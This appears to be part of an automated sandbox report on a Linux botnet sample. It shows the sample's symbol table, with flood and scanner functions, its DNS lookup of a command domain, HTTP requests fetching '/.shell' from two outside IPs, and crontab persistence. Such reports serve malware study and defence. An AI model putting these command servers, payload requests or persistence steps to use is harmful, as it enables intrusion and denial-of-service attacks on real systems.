                next_start.1109.symtab0x805c4004OBJECT<unknown>DEFAULT11
                ntohl.symtab0x80510b37FUNC<unknown>DEFAULT2
                ntohl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ntohs.symtab0x80510a712FUNC<unknown>DEFAULT2
                ntop.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                object.2482.symtab0x805a36424OBJECT<unknown>DEFAULT11
                open.symtab0x8053c6875FUNC<unknown>DEFAULT2
                open.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                opendir.symtab0x804f12c241FUNC<unknown>DEFAULT2
                opendir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                opennameservers.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ospf.symtab0x804b907751FUNC<unknown>DEFAULT2
                p.2427.symtab0x805a0240OBJECT<unknown>DEFAULT10
                pclose.symtab0x804f528190FUNC<unknown>DEFAULT2
                perror.symtab0x804f3dc50FUNC<unknown>DEFAULT2
                perror.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                pipe.symtab0x8053ccc46FUNC<unknown>DEFAULT2
                pipe.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                poll.symtab0x80556a454FUNC<unknown>DEFAULT2
                poll.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                popen.symtab0x804f5e6506FUNC<unknown>DEFAULT2
                popen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                popen_list.symtab0x805a3f44OBJECT<unknown>DEFAULT11
                prefix.4202.symtab0x80585bd12OBJECT<unknown>DEFAULT4
                protorand.symtab0x804c1d4824FUNC<unknown>DEFAULT2
                qual_chars.4208.symtab0x80585d020OBJECT<unknown>DEFAULT4
                raise.symtab0x805562824FUNC<unknown>DEFAULT2
                raise.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                rand.symtab0x8052aac5FUNC<unknown>DEFAULT2
                rand.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                random.symtab0x8052ab472FUNC<unknown>DEFAULT2
                random.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                random_poly_info.symtab0x80591e040OBJECT<unknown>DEFAULT4
                random_r.symtab0x8052c8d95FUNC<unknown>DEFAULT2
                random_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                randtbl.symtab0x805a2a0128OBJECT<unknown>DEFAULT10
                rawmemchr.symtab0x80559a499FUNC<unknown>DEFAULT2
                rawmemchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                rdp.symtab0x804b618751FUNC<unknown>DEFAULT2
                read.symtab0x80556dc54FUNC<unknown>DEFAULT2
                read.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                read_etc_hosts_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                readdir.symtab0x804f220132FUNC<unknown>DEFAULT2
                readdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                recv.symtab0x8051aec51FUNC<unknown>DEFAULT2
                recv.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                removeReadPermission.symtab0x80495d8144FUNC<unknown>DEFAULT2
                rename.symtab0x804efa850FUNC<unknown>DEFAULT2
                rename.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                replic.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sbrk.symtab0x8053cfc78FUNC<unknown>DEFAULT2
                sbrk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                scanner10_pid.symtab0x805c79c4OBJECT<unknown>DEFAULT11
                scanner11_pid.symtab0x805c7a04OBJECT<unknown>DEFAULT11
                scanner12_pid.symtab0x805c7a44OBJECT<unknown>DEFAULT11
                scanner13_pid.symtab0x805c7b44OBJECT<unknown>DEFAULT11
                scanner14_pid.symtab0x805c7ac4OBJECT<unknown>DEFAULT11
                scanner2_pid.symtab0x805c7c44OBJECT<unknown>DEFAULT11
                scanner3_pid.symtab0x805c7984OBJECT<unknown>DEFAULT11
                scanner4_pid.symtab0x805c7a84OBJECT<unknown>DEFAULT11
                scanner5_pid.symtab0x805c7cc4OBJECT<unknown>DEFAULT11
                scanner6_pid.symtab0x805c7bc4OBJECT<unknown>DEFAULT11
                scanner7_pid.symtab0x805c7b04OBJECT<unknown>DEFAULT11
                scanner8_pid.symtab0x805c7c84OBJECT<unknown>DEFAULT11
                scanner9_pid.symtab0x805c7b84OBJECT<unknown>DEFAULT11
                send.symtab0x8051b2051FUNC<unknown>DEFAULT2
                send.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sendto.symtab0x8051b5467FUNC<unknown>DEFAULT2
                sendto.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setsid.symtab0x804efdc38FUNC<unknown>DEFAULT2
                setsid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setsockopt.symtab0x8051b9859FUNC<unknown>DEFAULT2
                setsockopt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                setstate.symtab0x8052afc93FUNC<unknown>DEFAULT2
                setstate_r.symtab0x8052bf4153FUNC<unknown>DEFAULT2
                sigaction.symtab0x80535cf217FUNC<unknown>DEFAULT2
                sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                signal.symtab0x8051c00175FUNC<unknown>DEFAULT2
                signal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sigprocmask.symtab0x8053d4c85FUNC<unknown>DEFAULT2
                sigprocmask.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sigsetops.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sleep.symtab0x805304c393FUNC<unknown>DEFAULT2
                sleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                snprintf.symtab0x804f43033FUNC<unknown>DEFAULT2
                snprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                socket.symtab0x8051bd443FUNC<unknown>DEFAULT2
                socket.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                socket_connect_tcp.symtab0x80488a0239FUNC<unknown>DEFAULT2
                socket_connect_udp.symtab0x804898f15FUNC<unknown>DEFAULT2
                spec_and_mask.4207.symtab0x80585e416OBJECT<unknown>DEFAULT4
                spec_base.4201.symtab0x80585c97OBJECT<unknown>DEFAULT4
                spec_chars.4204.symtab0x805860d21OBJECT<unknown>DEFAULT4
                spec_flags.4203.symtab0x80586228OBJECT<unknown>DEFAULT4
                spec_or_mask.4206.symtab0x80585f416OBJECT<unknown>DEFAULT4
                spec_ranges.4205.symtab0x80586049OBJECT<unknown>DEFAULT4
                sprintf.symtab0x804f45431FUNC<unknown>DEFAULT2
                sprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                srand.symtab0x8052bb067FUNC<unknown>DEFAULT2
                srandom.symtab0x8052bb067FUNC<unknown>DEFAULT2
                srandom_r.symtab0x8052cec150FUNC<unknown>DEFAULT2
                static_id.symtab0x805a3442OBJECT<unknown>DEFAULT10
                static_ns.symtab0x805c6404OBJECT<unknown>DEFAULT11
                stderr.symtab0x805a0f84OBJECT<unknown>DEFAULT10
                stdin.symtab0x805a0f04OBJECT<unknown>DEFAULT10
                stdout.symtab0x805a0f44OBJECT<unknown>DEFAULT10
                str_to_lower.symtab0x80496e151FUNC<unknown>DEFAULT2
                strcasecmp.symtab0x805604c54FUNC<unknown>DEFAULT2
                strcasecmp.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strcat.symtab0x8050d7c31FUNC<unknown>DEFAULT2
                strcat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strchr.symtab0x8050d9c30FUNC<unknown>DEFAULT2
                strchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strcmp.symtab0x805595429FUNC<unknown>DEFAULT2
                strcmp.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strcoll.symtab0x805595429FUNC<unknown>DEFAULT2
                strcpy.symtab0x8050dbc27FUNC<unknown>DEFAULT2
                strcpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strdup.symtab0x8055a3c54FUNC<unknown>DEFAULT2
                strdup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strerror_r.symtab0x8050f18183FUNC<unknown>DEFAULT2
                strlen.symtab0x8050dd819FUNC<unknown>DEFAULT2
                strlen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strncat.symtab0x805597446FUNC<unknown>DEFAULT2
                strncat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strncpy.symtab0x8050dec38FUNC<unknown>DEFAULT2
                strncpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strnlen.symtab0x8050e1425FUNC<unknown>DEFAULT2
                strnlen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strpbrk.symtab0x8054c3c39FUNC<unknown>DEFAULT2
                strpbrk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strspn.symtab0x8055a0850FUNC<unknown>DEFAULT2
                strspn.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strstr.symtab0x8050e30198FUNC<unknown>DEFAULT2
                strstr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtok.symtab0x8050fe825FUNC<unknown>DEFAULT2
                strtok.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtok_r.symtab0x8054be089FUNC<unknown>DEFAULT2
                strtok_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                strtol.symtab0x8052e4426FUNC<unknown>DEFAULT2
                strtol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                sysconf.symtab0x80531d8325FUNC<unknown>DEFAULT2
                sysconf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                table.symtab0x805c660312OBJECT<unknown>DEFAULT11
                table_init.symtab0x8048454328FUNC<unknown>DEFAULT2
                tcgetattr.symtab0x8051024112FUNC<unknown>DEFAULT2
                tcgetattr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                tcp_ack.symtab0x804cd582124FUNC<unknown>DEFAULT2
                tcp_ackpsh.symtab0x804d5a42124FUNC<unknown>DEFAULT2
                tcp_syn.symtab0x804c50c2124FUNC<unknown>DEFAULT2
                time.symtab0x804f00446FUNC<unknown>DEFAULT2
                time.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                timeout.symtab0x805a0d04OBJECT<unknown>DEFAULT10
                tolower.symtab0x804f09c29FUNC<unknown>DEFAULT2
                tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                translatemethis.symtab0x80486f0275FUNC<unknown>DEFAULT2
                type_codes.symtab0x805862a24OBJECT<unknown>DEFAULT4
                type_sizes.symtab0x805864212OBJECT<unknown>DEFAULT4
                udp.symtab0x804a79a827FUNC<unknown>DEFAULT2
                umask.symtab0x804f03448FUNC<unknown>DEFAULT2
                umask.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                unknown.1161.symtab0x805864e14OBJECT<unknown>DEFAULT4
                unlockthis.symtab0x804859c63FUNC<unknown>DEFAULT2
                unsafe_state.symtab0x805a27828OBJECT<unknown>DEFAULT10
                usleep.symtab0x805332048FUNC<unknown>DEFAULT2
                usleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                vfork.symtab0x80536a821FUNC<unknown>DEFAULT2
                vfprintf.symtab0x804fb3c136FUNC<unknown>DEFAULT2
                vfprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                vse.symtab0x804aad5542FUNC<unknown>DEFAULT2
                vsnprintf.symtab0x804f474178FUNC<unknown>DEFAULT2
                vsnprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wait4.symtab0x805571459FUNC<unknown>DEFAULT2
                wait4.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                waitpid.symtab0x8053da426FUNC<unknown>DEFAULT2
                waitpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcrtomb.symtab0x8053ed868FUNC<unknown>DEFAULT2
                wcrtomb.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcsnrtombs.symtab0x8053f3c134FUNC<unknown>DEFAULT2
                wcsnrtombs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                wcsrtombs.symtab0x8053f1c30FUNC<unknown>DEFAULT2
                wcsrtombs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                write.symtab0x804f06454FUNC<unknown>DEFAULT2
                write.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                xdigits.3116.symtab0x80591ce17OBJECT<unknown>DEFAULT4
                xstatconv.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS

                Network Behavior

                Download Network PCAP: filtered – full

                Network Port Distribution

                • Total Packets: 16
                • • 443 (HTTPS)
                • • 80 (HTTP)
                • • 53 (DNS)
                TimestampSource PortDest PortSource IPDest IP
                Nov 3, 2024 13:54:39.604985952 CET60216443192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:39.605035067 CET4436021687.120.84.230192.168.2.13
                Nov 3, 2024 13:54:39.605077028 CET60216443192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:39.605113983 CET3763680192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:39.610095024 CET803763687.120.84.230192.168.2.13
                Nov 3, 2024 13:54:39.610136986 CET3763680192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:39.610188961 CET3763680192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:39.615120888 CET803763687.120.84.230192.168.2.13
                Nov 3, 2024 13:54:40.983274937 CET803763687.120.84.230192.168.2.13
                Nov 3, 2024 13:54:40.983510971 CET3763680192.168.2.1387.120.84.230
                Nov 3, 2024 13:54:40.988426924 CET803763687.120.84.230192.168.2.13
                Nov 3, 2024 13:55:41.606837988 CET60216443192.168.2.1387.120.84.230
                Nov 3, 2024 13:55:41.606925011 CET4436021687.120.84.230192.168.2.13
                Nov 3, 2024 13:55:41.606997013 CET60216443192.168.2.1387.120.84.230
                Nov 3, 2024 13:55:46.611984015 CET36022443192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:46.612093925 CET44336022216.126.231.240192.168.2.13
                Nov 3, 2024 13:55:46.612209082 CET36022443192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:46.612273932 CET3745880192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:46.617130041 CET8037458216.126.231.240192.168.2.13
                Nov 3, 2024 13:55:46.617197037 CET3745880192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:46.617232084 CET3745880192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:46.621994972 CET8037458216.126.231.240192.168.2.13
                Nov 3, 2024 13:55:47.761655092 CET8037458216.126.231.240192.168.2.13
                Nov 3, 2024 13:55:47.761734962 CET3745880192.168.2.13216.126.231.240
                Nov 3, 2024 13:55:47.766669989 CET8037458216.126.231.240192.168.2.13
                Nov 3, 2024 13:56:41.941174984 CET44336022216.126.231.240192.168.2.13
                Nov 3, 2024 13:56:41.941261053 CET36022443192.168.2.13216.126.231.240
                Nov 3, 2024 13:56:41.941289902 CET44336022216.126.231.240192.168.2.13
                TimestampSource PortDest PortSource IPDest IP
                Nov 3, 2024 13:54:39.287559986 CET6087053192.168.2.131.1.1.1
                Nov 3, 2024 13:54:39.604737043 CET53608701.1.1.1192.168.2.13

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Nov 3, 2024 13:54:39.287559986 CET192.168.2.131.1.1.10x7f8Standard query (0)conn.masjesu.zipA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Nov 3, 2024 13:54:39.604737043 CET1.1.1.1192.168.2.130x7f8No error (0)conn.masjesu.zip216.126.231.240A (IP address)IN (0x0001)false
                Nov 3, 2024 13:54:39.604737043 CET1.1.1.1192.168.2.130x7f8No error (0)conn.masjesu.zip87.120.84.230A (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • 87.120.84.230
                • 216.126.231.240

                HTTP Packets

                Session IDSource IPSource PortDestination IPDestination Port
                0192.168.2.133763687.120.84.23080
                TimestampBytes transferredDirectionData
                Nov 3, 2024 13:54:39.610188961 CET76OUTGET /.shell HTTP/1.1
                Host: 87.120.84.230
                Connection: close


                Session IDSource IPSource PortDestination IPDestination Port
                1192.168.2.1337458216.126.231.24080
                TimestampBytes transferredDirectionData
                Nov 3, 2024 13:55:46.617232084 CET78OUTGET /.shell HTTP/1.1
                Host: 216.126.231.240
                Connection: close


                System Behavior

                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                File Activities

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:sh -c "crontab -l"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/usr/bin/crontab
                Arguments:crontab -l
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:sh -c "crontab -"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):12:54:37
                Start date (UTC):03/11/2024
                Path:/usr/bin/crontab
                Arguments:crontab -
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):12:54:38
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                File Activities

                Process Activities


                General

                Start time (UTC):12:54:38
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                File Activities

                Process Activities


                General

                Start time (UTC):12:54:38
                Start date (UTC):03/11/2024
                Path:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
                Arguments:-
                File size:101142 bytes
                MD5 hash:5141342d0df8699fa32a6b066a0c592e

                File Activities

                Process Activities